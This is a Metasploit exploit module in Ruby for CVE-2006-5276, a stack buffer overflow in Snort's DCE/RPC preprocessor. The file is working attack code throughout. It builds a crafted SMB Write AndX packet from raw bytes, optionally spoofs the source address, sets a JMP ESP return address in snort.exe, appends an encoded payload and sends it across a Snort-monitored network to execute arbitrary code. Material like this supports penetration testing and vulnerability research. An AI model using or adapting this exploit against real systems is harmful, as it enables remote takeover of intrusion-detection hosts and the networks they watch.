##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Capture
	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'	    => 'Stack-based buffer overflow in the DCE/RPC preprocessor in Snort',
			'Description'    => %q{
				This module allows remote attackers to execute arbitrary code exploiting the Snort
				service via crafted SMB traffic. The vulnerability is caused due to a boundary error
				within the DCE/RPC preprocessor when reassembling SMB Write AndX requests. This can
				be exploited to cause a stack-based buffer overflow via a specially crafted packet
				sent over a network that is monitored by Snort.
				
				Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS 4.1, 4.5 and 4.6.
				
				Any host on the Snort network may be used as the remote host. The remote host does not
				need to be running the SMB service for the exploit to be successful.
				
				Original discovery by Neel Mehta, IBM Internet Security Systems X-Force.
			},
			'Author'	  =>
				[
					'Carsten Maartmann-Moe <carsten@carmaa.com>'
				],
			'License'	 => MSF_LICENSE,
			'Version'	 => '$Revision$',
			'Platform'	=> 'win',
			'References'     =>
				[
					[ 'OSVDB', '67988' ],
					[ 'CVE', 'CVE-2006-5276' ],
					[ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py']
				],
			'Privileged'     => true,
			'Payload'	 =>
				{
					'Space'    => 500,
					'BadChars' => "\x00",
					'DisableNops' => true,
				},
			'Targets'	 =>
				[
					[ 'Windows Universal', { 'Ret' => 0x00407c01 } ], # JMP ESP snort.exe
				],
			'DisclosureDate' => 'Feb 19 2007',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(139),
				OptAddress.new('RHOST', [ true,  "A host on the Snort-monitored network"]),
				OptAddress.new('SHOST', [false, 'The (potentially spoofed) source address', nil])
			], self.class)
			
			deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')
	end

	def exploit
		open_pcap
		
		shost = datastore['SHOST'] || Rex::Socket.source_address(rhost)
		
		p = buildpacket(shost, rhost, rport.to_i)
		
		print_status("Sending crafted SMB packet from #{shost} to #{rhost}:#{rport}...")
		
		capture_sendto(p, rhost)
		
		# Cleanup
		handler
	end
	
	def buildpacket(shost, rhost, rport)
		p = PacketFu::TCPPacket.new
		p.ip_saddr = shost
		p.ip_daddr = rhost
		p.tcp_dport = rport
		p.tcp_flags.psh = 1
		p.tcp_flags.ack = 1
		
		# SMB packet borrowed from http://exploit-db.com/exploits/3362

		# NetBIOS Session Service, value is the number of bytes in the TCP segment,
		# must be greater than the total size of the payload. Statically set.
		header = "\x00\x00\xde\xad"

		# SMB Header
		header << "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
		header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
		header << "\x00\x08\x30\x00"

		# Tree Connect AndX Request
		header << "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
		header << "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
		header << "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
		header << "\x3f\x3f\x3f\x3f\x3f\x00"

		# NT Create AndX Request
		header << "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
		header << "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		header << "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
		header << "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
		header << "\x63\x00\x00\x00"

		# Write AndX Request #1
		header << "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
		header << "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"
		header << "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
		header << "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
		header << "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
		header << "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
		header << "\x2b\x10\x48\x60\x02\x00\x00\x00"

		# Write AndX Request #2
		header << "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
		header << "\x00\x48\x00\x00\x00\xff\x01"
		
		tail =    "\x00\x00\x00\x00\x49\x00\xee"
		
		# Return address
		eip =  [target['Ret']].pack('V')
		
		# Sploit
		sploit = make_nops(10)
		sploit << payload.encoded

		# Padding (need to bad the payload with one byte to pass size check)
		sploit << make_nops(1)
		
		# The size of the Write AndX Request #2, including sploit payload
		# The number of bytes overwritten by initial size (0x0130) is 14 (0x0e).
		size = [(sploit.size() - 1 - 0x0e + 0x0130)].pack('v')

		# Assemble the parts into one package
		p.payload = header << size << tail << eip << sploit
		p.recalc
		
		p
	end
end